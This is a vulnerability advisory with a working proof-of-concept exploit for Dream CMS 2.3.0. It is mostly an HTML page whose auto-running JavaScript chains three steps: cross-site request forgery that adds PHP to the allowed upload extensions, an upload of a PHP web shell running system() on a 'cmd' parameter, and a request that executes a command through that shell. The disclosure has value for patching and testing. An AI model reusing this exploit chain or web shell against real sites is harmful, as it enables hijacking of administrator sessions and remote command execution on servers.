Dream CMS 2.3.0 – Cross-Site Request Forgery (Add Extension) / Arbitrary File Upload / PHP Code Execution
<!-- Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution Vendor: Dream CMS Product web page: http://www.dream-cms.kg Affected version: 2.3.0 Summary: DreamCMS is open and completely free PHP web application for constructing websites of any complexity. Desc: Dream CMS allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Related to the CSRF issue, an authenticated arbitrary PHP code execution exist. The vulnerability is caused due to the improper verification of uploaded files in '/files-manager-administration/add-file' script via the 'file' POST parameter which allows of arbitrary files being uploaded in '/resource/filemanager/1/home/' where the admin first needs to add the file extension in the allowed list (csrf'd). This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script file and execute system commands. Tested on: nginx/1.6.2 PHP/5.5.28 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5268 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5268.php 01.10.2015 --> <html> <head> <title>Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution</title> </head> <body onload="exploitrun();"> <!-- 1. Add PHP allowed extension --> <form name="addext" action="http://TARGET/pages/en/files-manager-administration/settings" method="POST" target="frame0"> <input type="hidden" name="form_name" value="settings" /> <input type="hidden" name="file_manager_allowed_extensions" value="bmp,gif,jpg,png,mp3,wav,wma,3g2,3gp,avi,flv,mov,mp4,mpg,swf,vob,wmv,zip,rar,txt,doc,docx,pdf,php" /> <input type="hidden" name="file_manager_allowed_size" value="2097152" /> <input type="hidden" name="file_manager_file_name_length" value="20" /> <input type="hidden" name="file_manager_image_extensions" value="bmp,gif,jpg,png" /> <input type="hidden" name="file_manager_media_extensions" value="mp3,wav,wma,3g2,3gp,avi,flv,mov,mp4,mpg,swf,vob,wmv" /> <input type="hidden" name="file_manager_window_width" value="60" /> <input type="hidden" name="file_manager_window_height" value="500" /> <input type="hidden" name="file_manager_window_image_height" value="300" /> <input type="hidden" name="submit" value="Save" /> </form> <!-- 2. Upload PHP file --> <script> function upload() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://TARGET/pages/en/files-manager-administration/add-file?path=home", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryuCEcIcPhpF3WD8Sv"); xhr.withCredentials = true; var body = "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" + "Content-Disposition: form-data; name=\"form_name\"\r\n" + "\r\n" + "file\r\n" + "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"billy.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\x3c?php\r\n" + "system($_GET[\"cmd\"]);\r\n" + "?\x3e\r\n" + "\r\n" + "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" + "Content-Disposition: form-data; name=\"submit\"\r\n" + "\r\n" + "Submit\r\n" + "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form name="uploadme" action="javascript:upload();" target="frame1"> </form> <!-- 3. Code execution --> <form name="exploit" action="http://TARGET/resource/filemanager/1/home/billy.php" method="GET" target="frame2"> <input type="hidden" name="cmd" value="whoami" /> </form> <iframe name="frame0"></iframe> <iframe name="frame1"></iframe> <iframe name="frame2"></iframe> <script> function exploitrun() { document.addext.submit(); document.getElementsByTagName("iframe")[0].onload = function() { document.uploadme.submit(); document.getElementsByTagName("iframe")[1].onload = function() { document.exploit.submit(); } } } </script> </body> </html> |